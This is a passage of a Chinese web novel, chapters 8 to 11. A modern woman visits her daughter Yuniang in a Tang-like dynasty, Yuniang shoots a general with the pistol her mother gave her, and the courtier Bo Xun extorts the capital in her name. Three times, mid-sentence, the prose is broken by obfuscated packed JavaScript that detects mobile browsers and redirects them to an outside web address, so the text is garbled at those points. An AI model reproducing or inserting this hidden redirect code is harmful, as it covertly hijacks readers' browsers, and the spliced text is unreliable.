郝美丽再次看向自己的女儿。 她像一朵长在暗处的花,凄风苦雨日日磋磨,就算开出花苞,也是孱弱枯萎的。郝美丽强势介入她的生命,却无法保证永远陪在她身边。 但是——郝美丽凝视着玉娘——她的女儿,吃过的苦已经够多了。从这一刻起,苦日子该到头了。往后的日子,就算只有一分甜,她也要亲手捧到女儿面前。 “乖女儿,看,这是妈妈为你打下的江山,现在它是你的了。”郝美丽抬手一指,引着玉娘望向那巍峨城池。 “从今往后,你要让自己开心起来,好吗?” * “所以,你就给她留了这句话?”郑大钱不解。 “对啊。” “为什么?” “她都那么苦了,该尝点甜了。” “可你给她留下了热武器,不怕她变成暴君吗?她怎么控制这么大的力量?”郑大钱质疑。 郝美丽瞪她一眼:“不许这么说我女儿!她不会的!” “好好好,不说不说。那你接下来打算怎么办?” “还能怎么办,继续打工呗。” “你说你,把钱都花完了……” “我愿意!” “你就宠她吧!” “我不宠她宠谁呢?” 告别郑大钱,返程飞机上,郝美丽手里多了一幅画。那是她请画师根据描述,一笔笔勾勒,又反复调整,才终于将心中女儿的模样细细呈现出来。 拿着画,郝美丽突然意识到: “我明明可以带相机去的!” 那样就能和女儿合影了! 但没关系,她们还有下一次相见的机会。 回国后的郝美丽,重新做回了那个普通人,打卡、报表、永无止境的会议,日子就这样一天天过去,有时候她难免觉得,和女儿相处的日子,好像是一场梦。 就像现在,地铁穿梭,窗外的黑暗连成一片,郝美丽看着玻璃上自己的倒影,不知道自己会走向哪里。 但,她忽然想到,在另一个时空里,她的女儿正快乐地生活着,没有人敢欺负她,她救了她,她又开始幸福起来。 玉娘,你现在当上皇帝了吗? 玉娘,你开心了吗? 8. 第 8 章 京城城外,冷风依旧。 “上仙呢?上仙不见了!” “上仙果然奇异!” 人群中出现了一些窃窃私语,玉娘独自站在两军中间,脚下踩着郝美丽给她留下的几箱弹药,郝美丽就像突然出现时一样,突然消失了。 留下她,和这几万人。 可这一次却和第一次见到妈妈不一样了,玉娘手里有妈妈留给她的另一个玩具,一把粉色的鲁格LCP手枪,一款.380ACP口径超轻便隐蔽手枪,枪身特殊材质打造,只有一个苹果大小重量。 送给女儿的礼物——来自郝美丽女士。 玉娘心里似乎多了一些不一样的情绪,她仔细端详着这把手枪,指尖无意识地摩挲过枪身上的纹路,感受着妈妈留在上面的指温,一点也不在乎刚才这一切给这几万人造成的震撼。 柏巡最先反应过来,内心的狂喜几乎要冲破天际,玉娘果然是上仙之女,得上仙庇护,强若轧荦山竟然被上仙一击就变成肉沫子了,哪怕太子骑着马逃了那么远,都被上仙一击毙命。 这不是法力是什么? 玉娘果然顺应天命!他柏巡可是第一个效忠的人,从龙之功,封侯爵位,甚至未来跟随玉娘位列仙班…… 只是这样想想,柏巡就全身热血滚烫,他飞奔到玉娘面前,大喊:“恭迎仙女入主京城!” 柏巡的喊声未落,反应最快的却是那群降卒!他们早已被那“仙法”吓破了胆,此刻只求活命。 当即便有叛军将领丢了兵器,扑跪在地,带着哭腔喊道:“仙女饶命!仙女饶命啊!小的们愿降!愿奉仙女为主!” 他这一跪,如同推倒了多米诺骨牌,数以万计的叛军争先恐后地跪伏下去,磕头如捣蒜,杂乱地哭喊着: “求仙女开恩!绕我一命!” “吾等愿奉仙女,入主京城!” 整个京城城外,陷入了一阵狂热,刚才还想要上前拉扯玉娘的那些士兵,吓得尿了裤子,他们哭喊着:“都是轧荦山那叛贼指使我等啊!仙女,和我们无关啊!饶命啊饶命!” 一个两个把头磕的厉害,就怕自己也丢了命。 在这一片跪倒的人群中,还在站立着的陈将军就显得格外突兀,他望着这一切,再无侥幸。 逼迫玉娘回京城,固然是太子的手笔,难道没有他的纵容?他这个禁军统领,受命于李玄多年,君臣之谊并不薄,所以才在高坡上那般维护李玄,就算李玄死了,就算有上仙突然降世,他的心里,也是不愿意的。 不愿意自己累累官声,屈膝于一妇人之下。 遥想当年,他不过是禁军一普通士兵,跟随李玄铲除韦后,升任龙武大将军,后又受封国公,何其威风? 玉娘不过一深宫弃妇!如何当得起他的一跪?所以他要赌,赌那上仙不过偶尔现世,再无出现的时候。没成想…… 陈将军认命了,将整个大胤付之一炬的轧荦山,竟被上仙哄成了碎末,血肉捡都捡不起来,他又算什么?他自嘲一笑。 跟随队伍,走到玉娘跟前,口喊:“恭迎仙女入主……” 话还没说完,“嘭!” 一声枪响,陈将军的脑门中多了一个血洞。 什么?为什么?他努力抬头。 枪声的回音还在空气中震颤,夹杂着一缕若有似无的火药味,钻进鼻腔里,不算好闻。 玉娘像是发现了什么新奇玩具的孩子,她学着妈妈的样子,偏头看向他,语气里也有妈妈的口吻,带着一丝疑惑:“你在惊讶什么?逼我赴死时,没有想过会有今天吗?” “你觉得,我会放过你吗?” “你的忠诚,你的臣服,还有你这个人,对我来说,不都是垃圾吗?” “妈妈说过了,恶心的东西,杀了就好了。” 玉娘举步,在所有人的注视下,再次抬起手,第二声枪响,打在了陈将军心脏之上。 “砰!” 陈将军的血模糊了他的视线,他的身体重重倒下,最后一眼,他只看到了玉娘冷漠的眼神,他是不是好像忘记了一件事,是什么? 啊对,他忘记了。 他忘记了李玄、太子是玉娘亲手杀死的,并不是上仙的手笔,玉娘早就有胆子弑君了! 她连皇帝都杀了,更何况他?他什么时候这般自傲?轻视一个敢亲手弑君的女人! 可是已经没有机会给他后悔了,他死了。 看着陈将军一脸惊恐的倒在地上,玉娘的心好像又填满了一点点,她拿着手枪又认真端详了很久。 这是妈妈给的。 这个念头一起,玉娘无端的快乐起来,她将枪轻轻贴在脸颊会,又放到眼前,拿在手里,她就这样走进了京城城,忘记了身后的几万大军。 而她身后,陈将军的尸体还温着,全场静得能听见尘土落地的声音,不知是谁先倒吸了一口冷气,打破了死寂。 柏巡一个激灵,从震撼中回过神来,他先猛推了一把身旁的校尉:“快!眼睛瞎了吗?没看见仙女要入城?把所有城门都给老子打开!立刻!” “快赶去宫里!将圣人的銮驾仪仗全数迎来!我等要恭迎仙女圣驾,一刻也不能耽搁!” “你们几个,把上仙赐下的宝物看好,若有一丝闪失,陈将军就是下场!” “传令下去,九门洞开,净水泼街!” “自今日起,京城,易主了!” 他越忙碌,越喜悦。 陈将军死了,玉娘身边只有他可用,他看着玉娘的背影,追奔而去。 玉娘迎着屡屡寒风,一步一步,走回京城城,脚下的碎石硌着鞋底,发出细微的声响,每一步都像是踩在权力的阶梯上,她身后,是两万胤军,一步步跟随。 轧荦山的几万叛军,基本都跟随在胤军身后,见识过上仙的威力之后,他们再也没有一战之心了。 可轧荦山之子,安庆绪却像天塌一样了。 他抓着心腹的手,怎么也松不开,他疯狂的咆哮道:“为什么!那皇位我们不是已经坐稳了吗?那李胤的天下不是已经姓安了吗?!十万大军啊!十万!怎么……怎么她一来,就全成了土鸡瓦狗!” 那心腹面色惨白如纸,浑身抖得如同风中筛糠,声音带着哭腔:“殿下您别说了,他们不是人,是妖魔是鬼怪!陛下他顷刻之间就化作了漫天血雨,您也是亲眼所见啊!” 安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823788|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庆绪就在崩溃边缘,他道:“是妖术,是妖孽!我们完了……全完了!” 心腹却扶着他说:“殿下,咱们得逃了!” “逃?我刚做上大魏的太子!我们就逃?逃去哪里……”安庆绪红着眼,他不能接受就这样离开京城。 “殿下,再呆下去,那才是真的性命不保啊!那些人为了向玉娘效忠,你我的人头就是最好的投名状啊!我们逃回河北!我们还能回去啊!”心腹急的汗都流下来了,现在还管什么京城不京城。 安庆绪的心都在颤抖,他摸了一把汗,却发现了满手血雾,这是父亲,这个念头吓他猛然甩开了手,他道:“对对,快逃,快逃!” 一行人再也不管身后的数万兵马,招呼了几位重臣,竟一起骑着马,逃了!他怕再晚一步,玉娘的仙器也将他打成血雨! 这一切,玉娘都不关心。 她刚走进城门,整条朱雀大街顿时沸腾。 “这就是诛杀轧荦山的仙女?” “千真万确!我表兄在军中亲眼所见,神仙一指贼首就灰飞烟灭!” “仙女!是救苦救难的仙女下凡了!” 柏巡一边命亲兵组成人墙,一边高声呵斥: “退开!都退开!冲撞圣人是要掉脑袋的!” 他说罢又急忙凑近玉娘解释:“这些愚民不懂规矩,臣这就驱散他们……” 却不想玉娘理都不理他,径直走着。 大明宫外,也涌了许许多多的人,他们都听说了仙女传闻,纷纷赶来以迎新主。只见几个小太监正手忙脚乱地安置香案,其中一个脚步一绊,险些将香炉摔出去。 “仔细着点!”一个年长的太监急忙扶稳,压低声音斥道,“脑袋不想要了?!” 几个官员聚在宫门旁交头接耳: “听说这位仙女抬手间就让轧荦山灰飞烟灭?” “千真万确!王将军亲眼所见,说是神仙一指,安贼就化作飞灰了!” 几人闻言,不约而同地缩了缩脖子,目光敬畏地望向宫门,“我等这般仓促准备,礼仪简陋,会不会……” “现在还管什么简陋!”另一人急声打断,“快整肃衣冠,仙女怕是就要到了!” 百官顿时作鸟兽散,各自忙乱起来,有人整理衣冠,有人催促乐师,铺设御道的更是手脚并用,场面一时忙乱不堪。 就在这片混乱之中,宫门外忽起骚动,不知是谁失声惊叫:“来了!仙女到了!” 刹那间,满场杂音戛然而止。 无论官阶高低,所有人齐刷刷跪伏于地,深深埋头,无一人敢抬眼窥视,方才还人声鼎沸的宫前广场,此刻静得只剩风过衣袂的簌簌声响。 玉娘就这样,一步步走入大明宫,走向百万臣民,走向至高权力之上,巍峨的宫门在她面前次第洞开,群臣万民匍匐在地,在她脚下层层铺展,直至视野的尽头。 玉娘终于走到了高台之上,她回过头,才发现目之所及,已再无一个敢在她面前站着的人了。 夕阳的余晖从巨大的殿门斜射进来,将她的影子拉得很长,铺在光洁如镜的金砖上,在这最荣耀时刻,她却想: 妈妈,我好想你。 9. 第 9 章 上仙降世,一炮将轧荦山轰成了臊子,又杀了皇帝和太子的消息,如同一个滔天巨浪,席卷了整个大胤,以及周边的国家。 “什么?此言当真?” “千真万确,几万人面前,轧荦山直接一命呜呼,太子也被上仙的法器一枪毙命,玉娘直接入主了京城!” 这样的对话,在所有节度使府中出现。 轧荦山死后,其部下亲属,如史思明、安庆绪等人,第一时间逃离了京城,返回了范阳,他们再次兼并了平卢、河北等地,收拢残兵,以期反攻。 李胤宗室内,在皇帝和太子死后,也迅速另立了新君,打出 “剿灭妖妃,光复李胤” 的旗号。 眼见天下乱世再起,但玉娘的反应却格外耐人寻味。 那日,初入京城,所有人都以为她会顺势登极,宣告新朝。然而她只是静静地看了一会儿,未置一词,便抛下身后跪伏的百官与民众,转身离去了。 她竟就这么走了?群臣一时愕然,僵在原地面面相觑,现场一片安静,有点尴尬。 柏巡心里着急,他可是把宝全押在玉娘身上了。 他赶紧站出来,对着还在发懵的众人开了口:“诸位还看不明白吗?仙女驾临,此乃天命所归!历代帝王登基都需三请三让,仙女也当如此!” 这话点醒了众人。 是啊,新主子来了,他们迎驾也得有个说法。 “柏将军说得对!”一个机灵的官员立刻接话,“是我们考虑不周,我等这就联名上表,恭请仙女早正大位!” “没错没错,这就去写奏章!” 奏折写了几十上百本,摆满在了大殿御桌上,玉娘一本都没翻开看过。此时的她,心里只有一个念头,那就是妈妈说的“让自己开心起来”。 玉娘想,她要听妈妈的话。 这种想法,影响了一切,整座宫廷,乃至整个京城,都开始围绕着她,运转起来。 让仙女开心,成了所有人的目标。 宫内廊下,两个宫女端着锦缎走过,说着悄悄话。 “姐姐,这已是今日第三批料子了,仙女看得上吗?” “谁知道呢?仙女昨儿个夸了句蜀锦的晕色好看,你瞧,今天尚衣监就把蜀地的工匠召进京了。” “我听说乐坊的李大家,为让娘娘重听《霓裳》,把自己关在屋里三天没合眼呢……” “嘘——小声点,如今这大明宫里,仙女的眉头是晴是雨,就是天大的事。” 玉娘只想着让自己开心,完全不过问政事,出乎意料的是,没有了层层加码的政令与征敛,京城城竟得了喘息之机,开始悄然自愈,就连街上的商贩,都比之前多了一些。 当然,也存在着一切不同的声音。 “娘娘果然是顺应天命的仙女,为何不处置那些天杀的叛军!他们杀了我儿子,把我女儿抢走糟蹋了!我恨的血都要流尽了!” “我家的宅子还被叛军占着,他们向娘娘认了罪称了臣,就没有事了吗?天下哪有这样的道理!” “上仙已经杀了轧荦山,为什么不降下仙法!杀了那些叛军?” 这些声音自然传不进大明宫,也传不到玉娘的耳朵里,却慢慢积累起来,积成了怨恨,等待着某一天爆发。 郝美丽带来的武器,让所有反对之声都消失了。但恐惧取代了信服,猜忌在暗处滋生,玉娘坐在宫殿里,无一人敢质疑她,连目光相接时,所有人也都会立刻谦卑地垂下眼帘,偌大的大明宫,只剩下她一个人的声音。 再也没有人能欺负她了。 郝美丽实现了她的心愿,她保护了自己的女儿。 这是一个初春的午后,正是周末,郝美丽睁开眼,看到了阳光里漂浮的尘埃,整个都是放松的。 一个不需要赶项目进度,没有消息催促,且救了自己女儿的日子,郝美丽在床上发了会呆。 趿拉着拖鞋,洗漱完。 搬了把躺椅,放在阳台,又泡了壶菊花茶,水汽盈盈,扑面而来,她感受着水中的热气和心里的柔软,就着温暖的阳光,又躺下了。 “这种日子,真难得。”郝美丽喝了一口茶,叹道。 郝美丽看着手中杯,菊花被泡开了,看得见它的花蕊,和它的花瓣,一片又一片,在这小小的水杯里。 “不知道玉娘在做什么。”郝美丽突然说出口。 在这个空荡荡的家里,在这个只有她自己的环境里,在这个她只是一个穿着棉麻睡衣的普通人的时空里。 她垂下了眼眸。 这壶茶喝到一半,到了中午,肚子饿了。 郝美丽又趿拉着鞋,走去了那个小小的厨房,开始为自己做饭,她本来想做一道番茄牛腩,打开冰箱,没有番茄了,犯了懒。 于是,一个荷包蛋在锅里兹拉冒响。 郝美丽看着金黄的荷包蛋,油脂四煎,香味泡到了她的鼻子里,她突然想,是不是玉娘也在吃着别人精心为她准备的美味呢? 她喜欢吃什么东西?是史书上记载的荔枝吗? 就在郝美丽把荷包蛋放在盘子上时,宫人呈上来一碗荔枝酿,摆在了玉娘面前,晶莹透亮十分美味。 就是这样一碗简简单单的荔枝酿,却让玉娘瞬间暴怒,她踢翻了那张桌子,那碗荔枝酿洒在地上,难堪极了,宫人吓得跪倒在地,瑟瑟发抖。 玉娘大哭不止,她颤抖着拿出了妈妈给她的手枪,对准了那个宫人,她真的要崩溃了,她的泪像流不尽一样,滴滴砸在地砖上。 “我要杀了你!我要杀了你!”玉娘这样哭喊着,那宫人已经魂飞魄散了,玉娘看着这样的她,又好像看到了高坡上的自己。 那样无辜,那么可怜。 “快滚,快滚啊!”玉娘大喊,她的泪还是没有止住,可手枪却放了下来,她想擦干净眼泪,却怎么也擦不完。 她不是很快乐吗? 为什么还会这样。 这荔枝羹甜腻的气味,将她拽回了那个必须对李玄的恩赏露出笑容的自己,她不是憎恨荔枝,她是憎恨那个不得不喜欢的自己!为何自己会那么无力?为何自己逃离不了命运? 明明自己手中已经有妈妈给的手枪了。 玉娘不明白,她开始崩溃大哭。 皇宫的一切都逃不过柏巡的耳朵,玉娘的种种都变成了密折上的陈条,摆在了他的桌子前。 昏暗灯光下,他开始凝思。 这便是仙女吗?为什么仙女还会恐惧?为何仙女和上仙行径如此不同?他不明白。 他确信,玉娘拥有毁天灭地的力量,这一点毋庸置疑的。但他有很直观的发现,她不懂如何利用这种力量。 玉娘仍然是那个宠妃,而不是神仙。 于是,他开始了新的试探。 第二天,他捧着一堆奏折,伏跪在玉娘面前,道:“陛下,京城初定,尚有诸多事宜急需处置,比如这叛军之事……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823789|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 玉娘第一时间握紧了粉色手枪,又一息,松开了,她端坐着,却一言不发。 柏巡跪了很久,却没听见一句话,他微微抬起头,发现玉娘的目光越过了他,不知在看哪里。 柏巡又低下头,他听见自己说:“陛下,以臣之见,叛军却多达数万之众,稍有不慎便是又一波动乱,不如重新收编,归于我军……” 玉娘听见了,她挪动了一下身子,又握住了那把粉色手枪,点了点头,道:“好。” 这一句话,就让柏巡的野心涨了千百倍。 他又道:“陛下,不若由臣代您去处置叛军,不扰您的清修之事,您看……” “好。” 没有意外,玉娘又答应了。 柏巡将头深深叩下,再抬起时,脸上已换了一副忠谨又为难的神色,声音里满是体恤:“陛下明鉴,臣人微言轻,空有忠心却难行事,故而斗胆恳请您赏赐一个恩典,授臣行军大总管之职,让臣名正言顺地为您统御诸军……” 玉娘怔了怔。 “身份……”她恍惚地重复着这个词,是的,连陈将军那样的人,也需要一个名分才能调动兵马。 她应了一声:“好。” 此间事了,柏巡一路恭谨地躬身退出宫门,直到踏出那朱红门槛,方直起身,他看了一眼皇宫,宫门在他身后缓缓合拢,也将玉娘隔绝在了深宫。 他似乎明白了。 他笑了笑,转过身就对左右心腹道:“传话下去,所有跟随我的兄弟,一律官进五级!” 此言一出,他身边的众人先是难以置信地对视,随即脸上涌现出狂喜之色,纷纷争先恐后地磕头行礼,谄媚之声此起彼伏:“柏爷爷恩重如山!我等愿为爷爷效死!” 这一声声,真是舒服到了柏巡心里。 柏巡抬抬手,就让他们起来了,他扫视众人,意味深长地笑道:“官位到手,下一步自然是富贵,叛军在京城刮尽地皮,个个肥得流油。如今大势已定,是时候让他们连本带利,给我们吐出来了。” 底下人道:“爷爷,他们会乖乖吐出来吗?” 柏巡嘴角一扬,似笑非笑:“仙女既赐我权柄,他们若识趣,破财即可免灾。若不肯全了这个体面,那大家面上就不好看了。” 此言一出,如同打开了闸门。 这些之前还因败走京城士气低落的胤军,一旦披上了“仙女之兵”的皮,又得了搜刮的默许,气焰顿时嚣张起来,他们对着昔日苦苦对峙的叛军,是伸出手,趾高气扬地索要起赎罪银来,那姿态,比轧荦山部下更为跋扈。 “你敢不给?仙女的法器现在就能要了你的狗命!” “什么?你说你是良民?我看你就是叛军!别以为脱了军服我就认不出你了!你家这地契就是赃物!” “你勾结叛军!要交罚没银子!五千两!不给就要了你全家的小命!” 宫外,乱成一片。 宫内,玉娘全然不知柏巡带来的灾难,此刻,柏巡正站在她面前,笑着说:“陛下,那几万叛军一听您的旨意,立刻跪下听诏了,现在您麾下已经有十万兵马了。” “十万兵马?”玉娘有点吃惊。 “自然,您可是上仙之女,统帅人间理所当然。”柏巡的脸上挂着忠诚。 “那你要约束好他们,不可再为祸百姓。”玉娘坐在大殿上,看着眼前唯一一位自己人。 “那是,自然。”柏巡低下头,答道。 10. 第 10 章 一个月后。 郝美丽再次出现时,玉娘正独自坐在空旷的宫殿里。四周堆满了高高的书卷,她捧着一卷古籍,就着春日斜照进来的天光,静静阅读。殿内燃着清雅的瑞脑香,细烟袅袅升腾,在她周身氤氲出一层朦胧的光晕。 她过得很好,再没有人能欺负她了——郝美丽这样想着,心头稍稍宽慰。 玉娘正读得入神,心头却毫无征兆地微微一颤,她蓦然抬头,郝美丽就那样含着笑,静静地站在那片光里。 几乎是本能地,她扔下书卷,裙裾翩跹,整个人像一道光投入郝美丽的怀抱。 “妈妈,你来了!” 郝美丽笑着接住扑进怀里的女儿,身体微晃了一下,随即更用力地将她搂紧,直到这个时候,她才惊觉,自己对女儿的了解太过有限,该怎么和女儿相处?她也不太清楚。 郝美丽迟疑片刻,开口问道:“这些日子……过得好吗?吃得好不好?” 话一出口,她便觉得这是个糟糕的问候,自己果然不太会做妈妈,她心里有些懊恼。 玉娘依偎在妈妈怀里,抬头仔细端详着她。 妈妈今天穿着一件裁剪得体的上衣,一条材质特别的长裤,长发自然地披散下来。身上有股很好闻的味道,像是晒过太阳的被褥,又混着一点洁净的皂香。 她实在舍不得离开这个怀抱。 听到妈妈的问话,心思一动:“妈妈,和我一起用膳可好?” 自然是好的。 膳食房立刻忙碌起来。妈妈只能停留一个时辰,玉娘没有太多时间让他们准备,柏巡下了死命令:做不出来,便是死。 不过短短一刻钟。 鲫鱼脍、驼蹄羹、浑羊殁忽、灵消炙等胤朝名菜便陆续呈上,御厨又献上蔗浆为饮,三勒浆为酒。 待郝美丽坐定,玉娘亲手捧过雕胡饭,轻声道:“这是大胤的一些菜式,妈妈尝尝。” 郝美丽看着面前琳琅满目的菜肴,却无法忽略女儿殷切的目光,她拿起筷子,夹起一口。 玉娘忽然有些紧张。 她肩背微微前倾,屏住呼吸,看着那筷子食物送入妈妈口中。她仔细观察着郝美丽的神情,不肯放过任何一个细微的变化。 “确实美味。”郝美丽终于开口。 听到妈妈这样说,玉娘的肩膀才悄悄放松下来。 她终于不再紧挨着妈妈坐下,两人隔案对坐,她看着妈妈的筷子多夹了几次子鹅,喝了两口蔗浆,又将酒盏端到唇边——只闻了闻,便放下了。 原来妈妈不喜饮酒。 “这生鱼片……”郝美丽略有迟疑。 “春宜羔豚,夏宜脍鲙。妈妈不喜欢鱼脍么?” 郝美丽顿了顿,生鱼片确实容易滋生寄生虫,但她不愿在此刻扫兴,只暗自记下,下次要带些常备药来,玉娘的身体健康也很重要。 “没事,味道很好。”郝美丽答道。 可玉娘分明看见,妈妈几乎没动那碟鱼脍。她看向那晶莹剔透的鱼片,暗暗记下这个细节——日后餐桌上,不会再出现这道菜了。 膳食用至尾声,宫人奉上两盏沏好的茶汤。 郝美丽端起茶盏,只见汤色浓褐,她凑近轻嗅,眉头不自觉地微蹙起来。她用盏盖轻轻拨了拨汤面,看向女儿。 “玉娘,这茶里是不是放了姜和盐?” “是呀。”玉娘端起自己那盏,轻轻吹了吹,“姜能驱寒,盐可提味,如此方能激发茶性,暖胃益气。母亲在仙界不是这般饮茶的么?” “我们那边,喝茶的法子不太一样,只泡出茶汤,不食茶叶,也不加那些调料。” “这……”玉娘眼波流转,“母亲莫怪女儿直言,这岂不是只饮其魂不见其形?味道也太过清寂了。母亲来的那个世界,当真奇妙得很。” 听到女儿这番话,郝美丽才恍然意识到——自己似乎一直将她当作需要拯救的小女儿,可事实上,玉娘饱读诗书,精通音律,堪称一代大家。 想到这里,郝美丽心中升起一丝惭愧。 “固然不同,但各有滋味。”郝美丽说着,试着喝了一口那茶,果然很特别。 “女儿也想尝尝妈妈爱喝的茶。”玉娘毫不犹豫地说出口,她那颗心,太想靠近妈妈了,连羞怯的时间都省去。 “好。” 这次相聚之后,郝美丽回到现代,果然去了大型超市。她推着购物车,在货架前用手机搜索:“现代哪些食物在唐朝没有?” 搜索结果跳出:“现代常见的玉米、土豆、红薯、西红柿、辣椒、西瓜、菠萝、草莓、洋葱、花生、向日葵等食物在唐朝均不存在……” “竟有这么多?”郝美丽有些惊讶。 但她收起手机,看着一排排货架,又安下心来——那些胤朝没有的东西,她都能买下来,带给玉娘。 而在另一个时空,玉娘又一次看着郝美丽消失,这一次,心中少了惶恐,多了期待。 妈妈说,下次会给自己带礼物。 柏巡出现的时机恰到好处。 他垂首问道:“陛下,上仙突然降临,我等准备不周。是否传旨下去,令各处早做准备……” 玉娘听了,心中一动,这次招待妈妈确实仓促,下次断不能如此了。 “好。”她应道。 柏巡抬头看她一眼,又进言道:“陛下,《太平御览》引仙经曰:至诚通玄,非物不格。我等是否依礼上贡?” 玉娘这回有些拿不准了,她迟疑着。 柏巡见她犹豫,又道:“《周官》亦载:祀昊天上帝,则陈玉帛、三牲、粢盛、酒醴。就算上仙超然物外,不慕凡俗,然此乃人神之礼、母女之情,不可废也……” “母女之情”四字,触动了玉娘的心。 “需要很盛大么?”她轻声问,“妈妈她……似乎不喜奢靡。” 柏巡立刻深深拜下,语气恳切至极:“陛下!正因上仙超然物外,不慕凡俗,我等凡夫俗子的心意才更要竭尽所能!我等对上仙之敬,便是对陛下之孝的彰显。若礼数有亏,天下人岂不议论您……对母不诚?” 最后几个字,他说得又轻又缓,却像针一样扎进玉娘心里。对母不诚……不,不可以!是妈妈将她从泥沼中拉出,她怎能对妈妈不诚? 所有疑虑,在可能失去妈妈的巨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823790|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大恐惧面前,溃不成军。 “你说得对。”她听见自己的声音,“便依你所奏,去办吧。务必……务必隆重,要让妈妈看到我的心意。” “臣,领旨!” 玉娘望着他退下的背影,殿外明媚的春光,似乎被那道身影挡去了大半。她心头无端掠过一丝阴霾,快得抓不住。 能让妈妈开心,她愿意,她放下了这丝阴霾。 柏巡得了旨意,出宫回到府中。 “柏爷爷,您又给咱们寻了条财路啊!”行军大总管府内,一群将士兴奋地叫嚷着,几乎要掀翻屋顶。 “给上仙进贡,好!好事啊!” “不止要宫内进献,得要全京城、全大胤都进献!” 柏巡坐在首位,摆了摆手,众人渐渐安静下来。他慢条斯理道:“上仙降世,我等为表心意,自然要进献。只是这怎么进、进什么,得有个章程。” “是是,柏爷爷说得对!” “柏爷爷安排!我们都听您的!” 柏巡穿着紫袍,腰悬金带,神色得意极了。如今,整个京城近十万军队尽在他手,府中已囤积数百万财物,如今又有这道旨意,更是如虎添翼。 “依我看,这进贡嘛,要分等第。”他缓缓道,“王侯之家,需进献千金;官僚之家,进献百金;普通百姓,进献十金。如此,上仙欢喜,便会降下福泽,庇佑我等。” “爷爷,您真是咱们的活菩萨!” “都听柏爷爷的!” 柏巡笑了笑,又道:“依着古礼,还需古玉、佳酿这些物事。弟兄们下去索贡时,多留心些,仔细挑选,把最好的献给上仙,明白么?” “柏爷爷放心!” 柏巡一句话,几万士兵再次将京城搅得天翻地覆,一时之间,为上仙进献供礼之事,闹得满城风雨。 消息传至四方。市井巷陌间,关于仙女的童谣还没唱熟,天下百姓的期待,却如同被冷水浇透的炭火,瞬间熄灭。 “乱世妖妃,妖孽横行!”有人如此断言。 李胤王朝的声望竟因此回升,新帝召集群臣,泣道:“家国至此,妖妃当道。若不能诛杀玉娘,光复大胤,朕有何面目见列祖列宗?” 引得一群忠臣痛哭流涕。 “陛下放心,我等必为陛下除去玉娘,诛杀柏巡奸贼!光复大胤江山!” 不仅仅是民间人心浮动。就连大明宫中,宫娥太监们的私语里,也多了些许微词,宫人眼中的神情,不再只有敬畏。 “原以为娘娘是个贤明的,如今看来……” “敢说这话!你不要命了!” “娘娘既做出这些事,怎还不让人说?柏巡在宫外,都快把地皮刮下三寸了!” “我看未必是娘娘的本意,她或许不知情……” “不知情?一句不知情就能免了罪么?我家里托人送信,说要上交十两金,问我有没有。我哪里拿得出?便是把所有首饰都当了,也凑不够。父母说接下来只能卖了小妹凑钱了……” “唉,怎么上仙降世,日子反倒更苦了?” “上仙?什么上仙!仙女?什么仙女!都是妖孽!” 11. 第 11 章 郝美丽盘腿坐在地上,拆着快递。 她买了一套全新的厨具——一把锋利的菜刀、几口不同用途的锅,还有些辅助器具,当然,佐料是必不可少的。 瓶瓶罐罐很快摆满了厨房台面。 郝美丽收拾好东西,打开做菜软件,开始了作为“郝大厨”的第一次正式学习,她把想尝试的菜名写在便签上,一张张贴在橱柜门边,打算挨个试做。 看着眼前堆着的烟薯、紫薯、冰淇淋薯、蜜薯……郝美丽挑了挑眉——果然买多了。 “将蒸熟的红薯压成泥,加入牛奶,搅拌混合均匀……” “放进空气炸锅,160度烤6分钟……” 郝美丽盯着手环,看着时间一点点流逝,她想了想,起身走到阳台上,点了一支烟,就着暮色望向远处高楼林立的城市轮廓。 晚风轻拂过她的发丝,远处霓虹初上,光影流转,与一千多年前的京城城,确是截然不同的两个世界。 “果然和玉娘那边不一样呢。” 一支烟抽完,厨房里飘出了芝士焗红薯的香味。 “玉娘应该会喜欢的。”她轻声自语。 * 京城,大明宫。 阳光下,玉娘正准备去尚衣监,她要亲自看过所有的布匹颜料,斟酌是选用岁贡的越罗吴绫,还是剑南的蜀锦,她还要亲眼看看内府新染出的颜色,哪一种更衬妈妈那身健康的小麦色肌肤。 刚走过一道廊檐,她忽然听见一阵压抑的啜泣声,脚步一顿,循声望去,见是两个小宫娥相依着在角落里垂泪。 “你们在哭什么?” 一句话吓得两个小宫娥几乎跳起来,看清来人后,她们立刻扑跪在地,瑟瑟发抖。 “你们为何哭泣?”玉娘又问,声音不自觉地放柔了些。 眼见躲不过去,一个小宫娥才怯怯答道:“家中有丧事,实在忍不住……” 玉娘立刻想到了叛军,是了,以那叛贼残虐的性子,入城后必定大肆屠戮。想来京城城中,家家户户都挂了白幡。 “你……”玉娘刚想细问。 